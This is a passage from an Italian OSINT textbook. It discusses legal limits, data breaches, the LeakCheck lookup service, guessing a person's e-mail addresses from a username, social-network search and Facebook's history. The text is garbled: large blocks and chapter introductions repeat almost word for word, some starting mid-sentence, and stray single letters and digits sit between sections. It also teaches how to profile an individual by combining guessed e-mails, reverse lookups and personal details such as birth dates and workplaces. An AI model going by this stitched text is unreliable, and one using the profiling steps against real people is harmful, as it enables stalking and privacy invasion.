D'altronde, le conseguenze dell'utilizzo di metodi illegali possono essere gravi sia per chi li pratica sia per le vittime. Gli attacchi informatici possono causare danni materiali e psicologici a individui e organizzazioni, oltre a compromettere gravemente la privacy e la sicurezza dei dati personali.

Uno dei casi più comuni di pratica illegale è il cosiddetto *phishing*, dove i malintenzionati realizzano copie esatte di pagine web ufficiali, nella speranza di ingannare gli utenti a inserire le proprie credenziali. Nonostante sia una tecnica ampiamente discussa e nota, il phishing continua a essere estremamente diffuso e pericoloso.

Altro esempio è l'uso di trojan o keylogger: software maligni che, una volta installati sul dispositivo della vittima, possono registrare ogni tasto premuto, inclusi username e password. Questi attacchi richiedono un'attenta pianificazione e talvolta uno sforzo significativo per essere messi a segno, ma sono un sicuro passaggio oltre i limiti di ciò che è legale.

È importante sottolineare che le leggi italiane puniscono non solo chi realizza questi attacchi informatici ma anche chi li commissiona o li utilizza come mezzo per ottenere informazioni confidenziali. Questo sottolinea la necessità inderogabile di operare sempre nel rispetto della legalità.

Nel campo dell'OSINT, gli strumenti e le tecniche disponibili sono tante e molto potenti. Esistono molte alternative legali per raccogliere informazioni, che se usate correttamente ed

eticamente, possono fornire risultati ottimali senza compromettere i dati di nessuno.

Si tratta di familiarizzare con strumenti come database pubblici, archivi online, motori di ricerca avanzata e dorks per raccogliere dati che non intralciano la privacy e non violano la legge. Non c'è bisogno di ricorrere a tecniche oscure quando gli strumenti legali offrono un mare di possibilità.

Qui entra in gioco l'importanza dell'educazione e della formazione: essendo a conoscenza di cosa si può e non si può fare, e con una comprensione profonda degli aspetti legali coinvolti, si può operare efficacemente nel campo dell'intelligence senza rischiare conseguenze giuridiche.

L'OSINT e l'ingegneria sociale, disciplinate da etica e legalità, consentono a chi le pratica di diventare professionisti qualificati e rispettati. La conoscenza degli strumenti ha un valore inestimabile e la capacità di utilizzarli responsabilmente distingue chi opera per la sicurezza di chi, invece, infrange le regole.

Per chi svolge attività investigativa o di ricerca informazioni, è fondamentale essere costantemente aggiornati sulle normative vigenti. La sezione appendice D di questo volume offre una panoramica approfondita delle leggi italiane relative a OSINT e privacy, che consiglio vivamente di consultare.

Infine, mi preme ribadire che, nel mondo digitale in cui viviamo, la linea tra il lecito e l'illegale può sembrare sottile ma è ben definita. È essenziale sviluppare un forte senso di integrità e responsabilità, per garantire che la ricerca di informazioni avvenga sempre nel pieno rispetto dei diritti altrui.

Concludendo, insistere sulla legalità non è un capriccio accademico ma una scelta di fondo che tutela tutti: chi opera nel campo dell'OSINT, le persone oggetto di indagine e l'intero tessuto sociale in cui queste attività si inseriscono. L'obiettivo dev'essere sempre quello di arricchire le conoscenze senza trasgredire i confini imposti dalla legge.

eticamente, possono fornire risultati ottimali senza compromettere i dati di nessuno.

Si tratta di familiarizzare con strumenti come database pubblici, archivi online, motori di ricerca avanzata e dorks per raccogliere dati che non intralciano la privacy e non violano la legge. Non c'è bisogno di ricorrere a tecniche oscure quando gli strumenti legali offrono un mare di possibilità.

Qui entra in gioco l'importanza dell'educazione e della formazione: essendo a conoscenza di cosa si può e non si può fare, e con una comprensione profonda degli aspetti legali coinvolti, si può operare efficacemente nel campo dell'intelligence senza rischiare conseguenze giuridiche.

L'OSINT e l'ingegneria sociale, disciplinate da etica e legalità, consentono a chi le pratica di diventare professionisti qualificati e rispettati. La conoscenza degli strumenti ha un valore inestimabile e la capacità di utilizzarli responsabilmente distingue chi opera per la sicurezza da chi, invece, infrange le regole.

Per chi svolge attività investigativa o di ricerca informazioni, è fondamentale essere costantemente aggiornati sulle normative vigenti. La sezione appendice D di questo volume offre una panoramica approfondita delle leggi italiane relative a OSINT e privacy, che consiglio vivamente di consultare.

Infine, mi preme ribadire che, nel mondo digitale in cui viviamo, la linea tra il lecito e l'illegale può sembrare sottile ma è ben definita. È essenziale sviluppare un forte senso di integrità e responsabilità, per garantire che la ricerca di informazioni avvenga sempre nel pieno rispetto dei diritti altrui.

Concludendo, insistere sulla legalità non è un capriccio accademico ma una scelta di fondo che tutela tutti: chi opera nel campo dell'OSINT, le persone oggetto di indagine e l'intero tessuto sociale in cui queste attività si inseriscono. L'obiettivo dev'essere sempre quello di arricchire le conoscenze senza trasgredire i confini imposti dalla legge.

LE VIOLAZIONI DI DATI

Nel panorama attuale della sicurezza informatica, le violazioni dei dati sono diventate una realtà quotidiana con conseguenze che possono essere gravi sia per le entità commerciali che per gli individui. Questo aspetto – purtroppo sempre più diffuso – rappresenta una miniera d'oro per l'OSINT, poiché i dati perduti finiscono spesso in database accessibili ai ricercatori di informazioni.

Una violazione di dati può verificarsi attraverso diversi metodi come gli attacchi cyber, il phishing o semplicemente per via di una negligenza nelle procedure di sicurezza. Quando ciò accade, le informazioni personali come e-mail, password, dati di contatti e talvolta informazioni finanziarie vengono esposte e possono quindi circolare sul web oscuro o in forum di hacker.

Per chi si occupa di OSINT, è essenziale capire come questi dati possano essere utilizzati in modo etico e legale. Un aspetto importante consiste nel distinguere l'uso dei dati per fini di ricerca informativa, rispetto all'utilizzo illecito che ne fanno i cybercriminali.

Analizzando gli archivi risultanti da violazioni, possiamo identificare se un determinato indirizzo e-mail è stato compromesso, quali altri servizi l'utente potrebbe utilizzare, e talvolta persino recuperare le domande di sicurezza o le abitudini relative alla creazione delle password.

Questo tipo di informazioni è cruciale, per esempio, nella valutazione dei rischi aziendali o nella preparazione per la gestione di incidenti legati alla sicurezza informatica. Un analista forense o un esperto di sicurezza, infatti, utilizzerebbe questi dati per rinforzare le difese o per comprendere l'ampiezza di una violazione subita dalla propria organizzazione.

Esistono varie piattaforme e servizi online, legali e regolamentati, che consentono l'accesso a database di dati violati. È importante utilizzare questi strumenti con responsabilità e sempre nel rispetto delle leggi in materia di privacy e di cyber security.

Un altro scenario in cui la conoscenza di tali violazioni risulta utile è quello competitivo e strategico. Le aziende spesso desiderano sapere se i loro rivali hanno subito perdite significative di dati, per valutare le potenziali vulnerabilità di mercato o preparare una risposta adeguata in termini comunicativi e di marketing.

Se da un lato l'accesso a queste informazioni può sembrare un vantaggio, non bisogna dimenticare che è fondamentale procedere con cautela. I professionisti devono assicurarsi di rimanere nei limiti della legalità, rispettando la confidenzialità e l'integrità delle informazioni.

Altrettanto importante è la verifica dell'autenticità e della provenienza dei dati. Occorre prestare attenzione a non cadere vittime di truffe o di false violazioni, che potrebbero mettere in pericolo

la sicurezza sia dell'analista sia degli utenti indagati.

Quando si tratta di gestire dati sensibili, è buona norma adottare una politica di accesso minimo, ossia accedere solo alle informazioni strettamente necessarie per svolgere una ricerca o un'analisi, e mai di più. Bisogna considerare sempre l'impatto che la divulgazione di questi dati avrebbe sugli individui coinvolti e agire di conseguenza.

Inoltre, per chi lavora con dati sensibili o potenzialmente compromessi, è imprescindibile mantenere elevati standard di sicurezza informatica. Questo significa utilizzare sistemi criptati, connessioni VPN sicure e avere buone pratiche di igiene cybernetica per evitare di diventare a propria volta vittima di violazioni.

L'analisi dei dati provenienti da violazioni, se fatta rispettando criteri etici e legali, può fornire insight preziosi. Per esempio, le modalità con cui vengono rubati i dati possono rivelare nuove tecniche o tendenze nel campo del cybercrime, informazioni utili per la prevenzione e la risposta a incidenti futuri.

Educare il personale sull'importanza di mantenere alti standard di sicurezza personale e aziendale è un passo fondamentale. Attraverso workshop, formazione continua e simulazioni, si può aumentare la consapevolezza sui rischi associati alle violazioni dei dati.

Come ultima considerazione, chi si occupa di OSINT deve essere sempre all'avanguardia rispetto ai cambiamenti legislativi. Le leggi sulla protezione dei dati sono in evoluzione costante e ciò che è ammesso oggi potrebbe non esserlo domani. È pertanto cruciale restare informati e agire in conformità con le normative vigenti.

Concludendo, le violazioni dei dati sono un elemento ineludibile nel panorama informativo moderno. Affrontarle con responsabilità, sensibilità etica e conoscenza della legislazione è un imperativo per chi si avventura nel mondo dell'OSINT e della ricerca di informazioni.

e

e

1

la sicurezza sia dell'analista sia degli utenti indagati.

Quando si tratta di gestire dati sensibili, è buona norma adottare una politica di accesso minimo, ossia accedere solo alle informazioni strettamente necessarie per svolgere una ricerca o un'analisi, e mai di più. Bisogna considerare sempre l'impatto che la divulgazione di questi dati avrebbe sugli individui coinvolti e agire di conseguenza.

Inoltre, per chi lavora con dati sensibili o potenzialmente compromessi, è imprescindibile mantenere elevati standard di sicurezza informatica. Questo significa utilizzare sistemi criptati, connessioni VPN sicure e avere buone pratiche di igiene cybernetica per evitare di diventare a propria volta vittima di violazioni.

L'analisi dei dati provenienti da violazioni, se fatta rispettando criteri etici e legali, può fornire insight preziosi. Per esempio, le modalità con cui vengono rubati i dati possono rivelare nuove tecniche o tendenze nel campo del cybercrime, informazioni utili per la prevenzione e la risposta a incidenti futuri.

Educare il personale sull'importanza di mantenere alti standard di sicurezza personale e aziendale è un passo fondamentale. Attraverso workshop, formazione continua e simulazioni, si può aumentare la consapevolezza sui rischi associati alle violazioni dei dati.

Come ultima considerazione, chi si occupa di OSINT deve essere sempre all'avanguardia rispetto ai cambiamenti legislativi. Le leggi sulla protezione dei dati sono in evoluzione costante e ciò che è ammesso oggi potrebbe non esserlo domani. È pertanto cruciale restare informati e agire in conformità con le normative vigenti.

Concludendo, le violazioni dei dati sono un elemento ineludibile nel panorama informativo moderno. Affrontarle con responsabilità, sensibilità etica e conoscenza della legislazione è imperativo per chi si avventura nel mondo dell'OSINT e della ricerca di informazioni.

LEAKCHECK

Hai mai sentito parlare di *LeakCheck*? È uno strumento incredibilmente utile per chi si interessa di OSINT, specialmente quando si tratta di verificare la sicurezza di dati personali. Immagina di avere un database di dati trapelati da varie violazioni di sicurezza in tutto il mondo. Ecco, LeakCheck fa proprio questo, aiuta a capire se le nostre informazioni sono finite per sbaglio in mani sbagliate, attraverso la rete.

La prima cosa da capire è come funziona LeakCheck. Facciamo un passo indietro: sai cosa è un data breach, vero? Quando i dati di un sistema vengono esposti o rubati, parliamo di data breach. Eccoli, tutti quei dati – indirizzi e-mail, password, numeri di telefono – diventano disponibili ai malintenzionati. Ebbene, LeakCheck è un servizio che permette di scoprire se la nostra e-mail o il nostro numero è stato coinvolto in uno di questi incidenti.

Usarlo è banalmente semplice. Basta inserire nell'apposito campo la propria e-mail e il gioco è fatto: in pochi istanti saprete se quella e-mail è stata “leaked” e in quali specifici data breach è stata coinvolta. Ma dobbiamo prestare attenzione, perché l'etica è fondamentale: usare questi dati per scopi illeciti non è solo scorretto, ma è anche illegale.

Come studenti, l'uso di LeakCheck vi insegna molto su quanto sia fragile la nostra privacy online. È un ottimo strumento didattico per comprendere l'importanza della sicurezza informatica e per diventare più consapevoli dei rischi associati alla gestione delle informazioni personali.

Ma LeakCheck non basta a garantire la nostra sicurezza. È essenziale adottare buone pratiche: utilizzare password complesse e uniche per ogni servizio, attivare l'autenticazione a due fattori laddove possibile e rimanere sempre aggiornati sulle ultime notizie in materia di cybersecurity. Sono i piccoli passi che fanno la grande differenza.

Per gli studenti interessati all'aspetto legale, LeakCheck rappresenta un esempio interessante di come si possa operare nell'ambito legale della ricerca di informazioni. È lecito accedere a tali dati se il fine è proteggere la propria identità digitale o quella di un'azienda che ci ha dato espressa autorizzazione.

Il servizio offre anche differenti livelli di ricerca, dai controlli più superficiali a quelli più profondi e analitici. Questo significa che se sei al lavoro su un caso più complesso, LeakCheck può fornirti dettagli aggiuntivi che potrebbero essere decisivi.

Ma cosa succede se scopri che la tua e-mail è stata effettivamente compromessa? La prima cosa da fare è cambiare immediatamente la password e, se possibile, anche username. Dovresti poi

controllare gli accessi recenti all'account e, se qualcosa non quadra, agire di conseguenza. Inoltre, informati su quale tipo di violazione ha coinvolto i vostri dati e resta vigile.

Pensa anche a quante volte abbiamo visto notizie di grandi aziende che sono state colpite da cyber attacchi con perdita di dati sensibili. LeakCheck ci mostra che nessuno è davvero al sicuro al cento per cento e che l'importanza di una buona igiene digitale non va mai sottovalutata.

Non si può parlare di questo strumento senza toccare il tema della responsabilità nella diffusione di informazioni sensibili. Come futuro professionista dell'OSINT e dell'ingegneria sociale, devi essere sempre consci del potenziale impatto etico delle tue ricerche. Utilizza gli strumenti a vostra disposizione con saggezza e rispetto per la privacy altrui.

Spesso nel campo dell'OSINT ci si sofferma sulla potente capacità di trovare informazioni, ma è essenziale anche concentrarsi sulla prevenzione e sulla tutela delle informazioni. *Prevenire* è meglio che *curare*, ed è qui che LeakCheck si rivela un ottimo compagno di viaggio.

Per finire, una piccola curiosità: molti penseranno che con tutti questi data breach, i propri dati siano ormai roba "vecchia". Ebbene, LeakCheck viene costantemente aggiornato con le nuove violazioni, perciò la sua efficacia resta sempre attuale.

Consiglio finale? Ogni tanto, fai un salto su LeakCheck. Consideralo un piccolo check-up della salute del tuo digitale "io". È una buona pratica per rimanere informato e, perché no, anche un po' più sereno.

E non dimenticare, nell'OSINT come nella vita, la conoscenza è potere. È nel saper utilizzare gli strumenti a disposizione con intelligenza e responsabilità che si distingue un vero professionista. Buona ricerca!

i

i

o

controllare gli accessi recenti all'account e, se qualcosa non quadra, agire di conseguenza. Inoltre, informati su quale tipo di violazione ha coinvolto i vostri dati e resta vigile.

Pensa anche a quante volte abbiamo visto notizie di grandi aziende che sono state colpite da cyber attacchi con perdita di dati sensibili. LeakCheck ci mostra che nessuno è davvero al sicuro al cento per cento e che l'importanza di una buona igiene digitale non va mai sottovalutata.

Non si può parlare di questo strumento senza toccare il tema della responsabilità nella diffusione di informazioni sensibili. Come futuro professionista dell'OSINT e dell'ingegneria sociale, devi essere sempre consci del potenziale impatto etico delle tue ricerche. Utilizza gli strumenti a vostra disposizione con saggezza e rispetto per la privacy altrui.

Spesso nel campo dell'OSINT ci si sofferma sulla potente capacità di trovare informazioni, ma è essenziale anche concentrarsi sulla prevenzione e sulla tutela delle informazioni. *Prevenire* è meglio che *curare*, ed è qui che LeakCheck si rivela un ottimo compagno di viaggio.

Per finire, una piccola curiosità: molti penseranno che con tutti questi data breach, i propri dati siano ormai roba "vecchia". Ebbene, LeakCheck viene costantemente aggiornato con le nuove violazioni, perciò la sua efficacia resta sempre attuale.

Consiglio finale? Ogni tanto, fai un salto su LeakCheck. Consideralo un piccolo check-up della salute del tuo digitale "io". È una buona pratica per rimanere informato e, perché no, anche un po' più sereno.

E non dimenticare, nell'OSINT come nella vita, la conoscenza è potere. È nel saper utilizzare gli strumenti a disposizione con intelligenza e responsabilità che si distingue un vero professionista. Buona ricerca!

Capitolo 5: Generazione di Dati e Tecniche di Ricerca Interna

Dopo aver esplorato nel capitolo precedente i metodi legali per l'OSINT e le problematiche legate alle violazioni dei dati, è tempo di tuffarci nel mondo della generazione dei dati e delle potenti tecniche di ricerca interna, senza dimenticare mai i confini della legalità. Immergiti assieme a noi in questo viaggio alla scoperta di come generare possibili e-mail a partire dall'username, una skill che può essere un vero e proprio game changer nelle tue ricerche. Ma non è tutto! L'avventura continua svelando i segreti dei motori di ricerca interni ai social network. Che tu sia alla caccia di dati nascosti o di connessioni invisibili, avrai tutte le carte in regola per diventare un vero ninja del web. Ricorda che l'attenzione al dettaglio e un approccio critico sono essenziali per districarti tra le maglie fitte dell'Internet. Così, alla fine di questo capitolo, avrai padroneggiato non solo le tecniche, ma l'arte stessa di far parlare i dati in tuo possesso.

Capitolo 5: Generazione di Dati e Tecniche di Ricerca Interna

Dopo aver esplorato nel capitolo precedente i metodi legali per l'OSINT e le problematiche legate alle violazioni dei dati, è tempo di tuffarci nel mondo della generazione dei dati e delle potenti tecniche di ricerca interna, senza dimenticare mai i confini della legalità. Immergiti assieme a noi in questo viaggio alla scoperta di come generare possibili e-mail a partire dall'username, una skill che può essere un vero e proprio game changer nelle tue ricerche. Ma non è tutto! L'avventura continua svelando i segreti dei motori di ricerca interni ai social network. Che tu sia alla caccia di dati nascosti o di connessioni invisibili, avrai tutte le carte in regola per diventare un vero ninja del web. Ricorda che l'attenzione al dettaglio e un approccio critico sono essenziali per districarti tra le maglie fitte dell'Internet. Così, alla fine di questo capitolo, avrai padroneggiato non solo le tecniche, ma l'arte stessa di far parlare i dati in tuo possesso.

GENERARE POSSIBILI E-MAIL A PARTIRE DALL'USERNAME

Immagina di avere un username, un piccolo indizio in mano che potrebbe portarci a tantissime informazioni. Che si tratti di un soprannome raccolto da un board di discussione online, o di un alias utilizzato su una piattaforma di gioco, potremmo trasformare quella minima traccia in un filone d'oro informativo. Ecco come.

Prima di tutto, è importante comprendere che, nonostante la varietà di servizi e-mail disponibili la maggior parte degli utenti tende a rimanere fedele a pochi domini comuni come Gmail, Yahoo, o Outlook per la creazione dei propri account. Questo è il nostro punto di partenza per generare un elenco di possibili indirizzi e-mail associati all'username in nostro possesso.

Cominciamo con un'operazione semplice: la concatenazione dell'username con i domini più popolari. Questo significa creare combinazioni del tipo "username@gmail.com", "username@yahoo.com", e così via. Questo metodo, seppur basilare, può sorprendentemente restituire risultati validi e, pertanto, non va sottovalutato.

Man mano che amplifichiamo la ricerca, possiamo considerare la variabilità nella creazione degli indirizzi. Gli utenti, infatti, possono inserire numeri, simboli o altre parole all'username per renderlo unico.

Per esempio, se l'username è "gianni", potremmo trovare

"gianni.1985@gmail.com" o "gianni_milano@yahoo.com". Qui entra in gioco la nostra creatività associata a tecnologie come i generatori di e-mail che, partendo da un pattern inserito, creano moltissime varianti dell'username in questione.

Non dimentichiamo i servizi di verifica degli indirizzi e-mail. Ne esistono molti che ci permettono di capire se un indirizzo e-mail è attivo o meno, senza però violare la privacy dell'utente. Questi tools fanno affidamento sui dati pubblici disponibili o su verifiche tecniche come il controllo dei server MX.

Tuttavia, una volta ottenuto un elenco di possibili e-mail, cosa facciamo? Ecco che i social network entrano in scena. Molti utenti utilizzano lo stesso username, o una variante di esso anche per gli account sui vari social. Pertanto, una verifica incrociata sulla piattaforma adatta può darci maggiori conferme.

Bisogna però fare attenzione: la legge sulla privacy impone limiti rigorosi su come possiamo utilizzare queste informazioni. Non dobbiamo attraversare il confine sottile che separa la ricerca

legittima dall'invasione della privacy; quindi, consiglio di documentarsi bene sulle normative vigenti.

Dopo, possiamo considerare l'utilizzo di strumenti dedicati alle reverse e-mail lookup. Questi tool sono in grado di trovare i profili social correlati a un indirizzo e-mail. Così facendo potremmo scoprire che "gianni.milano@yahoo.com" è collegato a un account Facebook e LinkedIn molto attivo.

Arrivati a questo punto, la nostra ricerca ha probabilmente dato i suoi frutti offrendoci un bel bottino informativo. Abbiamo raccolto degli indirizzi e-mail credibili e, forse, abbiamo scoperto anche dei corrispettivi sui social. Ora si tratta di collegare i puntini e costruire un profilo più completo della nostra persona di interesse.

Ricorda che ogni informazione aggiuntiva può aiutarci a raffinare la nostra ricerca. Date di nascita, città di residenza, luoghi di lavoro, sono tutti pezzi di puzzle che possiamo utilizzare per verificare l'accuratezza delle e-mail generate.

Ultimo ma non meno importante, è fondamentale mantenere un rigoroso criterio etico durante questa ricerca. Non stiamo solo manipolando dati, ma interagiamo con frammenti della vita reale delle persone. L'approccio deve essere rispettoso e conforme alla legge.

Questa sezione ti ha introdotto al concetto di generare e-mail da un username, ed è solo l'inizio di una ricerca più approfondita e complessa che potrebbe svelare molte più informazioni di quanto inizialmente si potrebbe pensare. A volte, può bastare un semplice soprannome per aprire le porte verso un tesoro di dati. È una lezione potente sui potenziali dell'OSINT e sul perché una cura quasi maniacale nella scelta dei nostri username e indirizzi e-mail possa essere più importante di quanto immaginiamo.

Nei prossimi capitoli, vedremo come sfruttare al meglio queste informazioni in termini di tecniche di ricerca interna ai social network, che ci consentiranno di essere ancora più efficaci nei nostri sforzi investigativi. Ma ricordiamoci sempre di agire con integrità e attenzione al rispetto della privacy altrui.

legittima dall'invasione della privacy; quindi, consiglio di documentarsi bene sulle normative vigenti.

Dopo, possiamo considerare l'utilizzo di strumenti dedicati alle reverse e-mail lookup. Questi tool sono in grado di trovare i profili social correlati a un indirizzo e-mail. Così facendo, potremmo scoprire che "gianni.milano@yahoo.com" è collegato a un account Facebook o LinkedIn molto attivo.

Arrivati a questo punto, la nostra ricerca ha probabilmente dato i suoi frutti offrendoci un bel bottino informativo. Abbiamo raccolto degli indirizzi e-mail credibili e, forse, abbiamo scoperto anche dei corrispettivi sui social. Ora si tratta di collegare i puntini e costruire un profilo più completo della nostra persona di interesse.

Ricorda che ogni informazione aggiuntiva può aiutarci a raffinare la nostra ricerca. Date di nascita, città di residenza, luoghi di lavoro, sono tutti pezzi di puzzle che possiamo utilizzare per verificare l'accuratezza delle e-mail generate.

Ultimo ma non meno importante, è fondamentale mantenere un rigoroso criterio etico durante questa ricerca. Non stiamo solo manipolando dati, ma interagiamo con frammenti della vita reale delle persone. L'approccio deve essere rispettoso e conforme alla legge.

Questa sezione ti ha introdotto al concetto di generare e-mail da un username, ed è solo l'inizio di una ricerca più approfondita e complessa che potrebbe svelare molte più informazioni di quanto inizialmente si potrebbe pensare. A volte, può bastare un semplice soprannome per aprire le porte verso un tesoro di dati. È una lezione potente sui potenziali dell'OSINT e sul perché una cura quasi maniacale nella scelta dei nostri username e indirizzi e-mail possa essere più importante di quanto immaginiamo.

Nei prossimi capitoli, vedremo come sfruttare al meglio queste informazioni in termini di tecniche di ricerca interna ai social network, che ci consentiranno di essere ancora più efficaci nei nostri sforzi investigativi. Ma ricordiamoci sempre di agire con integrità e attenzione al rispetto della privacy altrui.

I MOTORI DI RICERCA INTERNI AI SOCIAL NETWORK

Navigare nel mare magnum dell'informazione che i social network generano quotidianamente può sembrare una sfida ardua. Ed è qui che i motori di ricerca interni entrano in gioco come preziosi alleati. Ogni social network ha il suo motore di ricerca interno, differente nella forma ma simile nella sostanza, che permette di filtrare e scovare dati a volte ben nascosti all'interno delle piattaforme.

Prendiamo per esempio un social media gigante come Facebook. Il suo motore di ricerca incorporato ti consente di esplorare post, persone, foto e altro ancora, utilizzando parole chiave e filtri. Tuttavia, è necessario conoscere alcuni trucchi per sfruttarlo al meglio.

I motori di ricerca interni non si limitano solo alla ricerca semplice di contenuti. Molto spesso, l'adozione di un approccio creativo e la comprensione delle opzioni avanzate sono la chiave per ottenere risultati più precisi. Gli operatori di ricerca, come quelli usati in Google Dorks, possono talvolta essere adattati e sperimentati anche sui motori dei social network.

Mantenere aggiornate le tecniche di ricerca è cruciale, in quanto i social network aggiornano continuamente le loro API e interfacce utente, portando a cambiamenti nei metodi di ricerca. Gli aggiornamenti possono essere tanto utili quanto frustranti, ma sono assolutamente necessari per mantenere la sicurezza degli utenti e la riservatezza dei dati.

Per esempio, gli hashtag su Instagram sono diventati uno strumento di ricerca interno straordinariamente potente. Con il giusto hashtag, puoi trovare non solo immagini e video ma anche scoprire comunità e conversazioni su argomenti specifici.

Twitter, d'altro canto, si distingue per la sua capacità di effettuare ricerche in tempo reale. Il suo motore è essenziale per monitorare eventi live, sentiment pubblici e per analizzare le tendenze dell'opinione pubblica. Gli operatori avanzati di ricerca su Twitter sono uno strumento potente per affinare questi risultati.

LinkedIn possiede un motore di ricerca interno fondamentale per la ricerca di professionisti e aziende. Attraverso una ricerca ben strutturata, è possibile acquisire non solo informazioni sulle persone ma anche sulle reti professionali, le competenze e i percorsi formativi.

TikTok, nonostante sia relativamente nuovo nel panorama dei social, ha già un motore di ricerca interno che permette di trovare contenuti virali per parole chiave, temi o attraverso i video in tendenza.

Quando parliamo di ricerca all'interno dei social network, non possiamo ignorare la possibilità di utilizzare tool esterni. Sono numerosi gli strumenti creati appositamente per estendere le capacità di ricerca dei motori interni dei social media, offrendo una marcia in più nella ricerca OSINT.

La ricerca interna sui social network è anche una questione di privacy e protezione dei dati personali. Nel momento in cui utilizzi i motori di ricerca interni è importante essere sempre consapevoli di quali informazioni stiamo condividendo con la rete e come queste possano essere utilizzate.

Inoltre, bisogna considerare il ruolo dei motori di ricerca interni nella lotta alle fake news e alle informazioni fuorvianti. Utilizzando questi strumenti in modo critico e consapevole, gli utenti hanno la capacità di verificare la credibilità dei contenuti prima di condividerli o interagire con essi.

Infine, per poter padroneggiare i motori di ricerca interni ai social network, è fondamentale la pratica costante. Solo sperimentando con diversi query e filtri si può davvero comprendere la potenza e i limiti di questi strumenti. Osa spingerti oltre la superficie per scoprire informazioni di valore che possono fare la differenza in un'analisi OSINT.

Decodificare i dati disseminati nei social network usando i motori di ricerca interni è un'arte che si affina con lo studio e l'esperienza. È cruciale non solo conoscere il funzionamento tecnico ma anche capire il contesto sociale e umano in cui questi dati vengono generati e condivisi.

Concludendo, i motori di ricerca interni ai social network sono potenti alleati per chiunque voglia avventurarsi nel mondo dell'OSINT. Con il giusto equilibrio tra tecnica e sensibilità umana, questi strumenti possono svelare un universo di informazioni che prima erano nascoste agli occhi di tutti.

e

e

a

1

Quando parliamo di ricerca all'interno dei social network, non possiamo ignorare la possibilità di utilizzare tool esterni. Sono numerosi gli strumenti creati appositamente per estendere le capacità di ricerca dei motori interni dei social media, offrendo una marcia in più nella ricerca OSINT.

La ricerca interna sui social network è anche una questione di privacy e protezione dei dati personali. Nel momento in cui utilizzi i motori di ricerca interni è importante essere sempre consapevoli di quali informazioni stiamo condividendo con la rete e come queste possano essere utilizzate.

Inoltre, bisogna considerare il ruolo dei motori di ricerca interni nella lotta alle fake news e alle informazioni fuorvianti. Utilizzando questi strumenti in modo critico e consapevole, gli utenti hanno la capacità di verificare la credibilità dei contenuti prima di condividerli o interagire con essi.

Infine, per poter padroneggiare i motori di ricerca interni ai social network, è fondamentale la pratica costante. Solo sperimentando con diversi query e filtri si può davvero comprendere la potenza e i limiti di questi strumenti. Osa spingerti oltre la superficie per scoprire informazioni di valore che possono fare la differenza in un'analisi OSINT.

Decodificare i dati disseminati nei social network usando i motori di ricerca interni è un'arte che si affina con lo studio e l'esperienza. È cruciale non solo conoscere il funzionamento tecnico ma anche capire il contesto sociale e umano in cui questi dati vengono generati e condivisi.

Concludendo, i motori di ricerca interni ai social network sono potenti alleati per chiunque voglia avventurarsi nel mondo dell'OSINT. Con il giusto equilibrio tra tecnica e sensibilità umana, questi strumenti possono svelare un universo di informazioni che prima erano nascoste agli occhi di tutti.

Capitolo 6: Facebook: Storia e Ricerca OSINT

Dopo aver esplorato la generazione di dati e le tecniche di ricerca interna ai social network nel capitolo precedente, ci addentreremo nel mondo specifico di Facebook, una realtà imprescindibile per chiunque si occupi di OSINT. Inizieremo con uno sguardo d'insieme sulla storia di questa piattaforma, fin dal suo lancio nel 2004, passando poi a comprendere le differenti tipologie di utenze che possiamo incontrare e come la loro analisi possa essere cruciale per le nostre investigazioni. Capiremo come un account apparentemente vuoto possa rivelarsi un tesoro di informazioni se sottoposto a una ricerca ricorsiva. Le query diventano nostre alleate quando facciamo uso di strumenti come Sowsearch, e persino i dork di Google possono essere adattati per scavare a fondo nel vasto universo di Facebook. Questo capitolo non si limiterà a mostrare come trovare dati, ma ti spiegherà il “come” e il “perché” dietro ogni passaggio, consentendoti di sfruttare appieno queste competenze per illuminare angoli nascosti di uno dei network più pervasivi del mondo digitale. Mentre imparerai, vedrai che ogni informazione raccolta non è solo un dato isolato, ma parte di una rete più ampia: un matrix, che ti guiderà alla scoperta di pattern e connessioni finora inesplorate.

Capitolo 6: Facebook: Storia e Ricerca OSINT

Dopo aver esplorato la generazione di dati e le tecniche di ricerca interna ai social network nel capitolo precedente, ci addentreremo nel mondo specifico di Facebook, una realtà imprescindibile per chiunque si occupi di OSINT. Inizieremo con uno sguardo d'insieme sulla storia di questa piattaforma, fin dal suo lancio nel 2004, passando poi a comprendere le differenti tipologie di utenze che possiamo incontrare e come la loro analisi possa essere cruciale per le nostre investigazioni. Capiremo come un account apparentemente vuoto possa rivelarsi un tesoro di informazioni se sottoposto a una ricerca ricorsiva. Le query diventano nostre alleate quando facciamo uso di strumenti come Sowsearch, e persino i dork di Google possono essere adattati per scavare a fondo nel vasto universo di Facebook. Questo capitolo non si limiterà a mostrare come trovare dati, ma ti spiegherà il “come” e il “perché” dietro ogni passaggio, consentendoti di sfruttare appieno queste competenze per illuminare angoli nascosti di uno dei network più pervasivi del mondo digitale. Mentre imparerai, vedrai che ogni informazione raccolta non è solo un dato isolato, ma parte di una rete più ampia: un matrix, che ti guiderà alla scoperta di pattern e connessioni finora inesplorate.

INVESTIGADOR_Z

COS'È FACEBOOK E QUAL È LA SUA STORIA

Navigando nel fiume di informazioni delle reti sociali, ci imbattiamo nell'oceano di Facebook, un colosso digitale che ha iniziato come semplice piattaforma di collegamento tra studenti universitari. Fondato nel 2004 da Mark Zuckerberg e alcuni compagni di Harvard, è cresciuto in maniera esponenziale fino a diventare uno dei giganti del web.

Come una piccola goccia d'acqua che diventa un fiume, il cammino di Facebook richiama un viaggio avvincente. Inizialmente ribattezzato "Thefacebook", era un progetto ristretto agli studenti di Harvard. Con il passaparola, la piattaforma ha attirato l'interesse di altre università poi di scuole superiori e infine si è aperta a chiunque avesse almeno 13 anni e un indirizzo e mail.

La storia di Facebook è un mosaico di acquisizioni strategiche, come quella di Instagram nel 2012 e WhatsApp nel 2014, e di evoluzioni tecnologiche che hanno plasmato il viso del social nel tempo. Sviluppi come il News Feed, introdotto nel 2006, hanno rivoluzionato il modo in cui gli utenti interagiscono con i contenuti.

La piattaforma, divenuta quotata in borsa nel 2012, ha visto la sua popolazione digitale crescere a passi da gigante, superando i due miliardi di utenti attivi mensilmente. Facebook è diventato uno spazio vitale per la condivisione di momenti personali, lo scambio di idee e per le attività commerciali.

Le controverse questioni sulla privacy e l'utilizzo dei dati degli utenti hanno messo Facebook sotto i riflettori, sfidandone la reputazione e la fiducia degli utenti. I frequenti aggiornamenti delle policy di sicurezza e gli scandali sulla gestione dei dati personali, come il celebre caso Cambridge Analytica, hanno creato dibattiti infuocati sulla protezione delle informazioni private nell'era digitale.

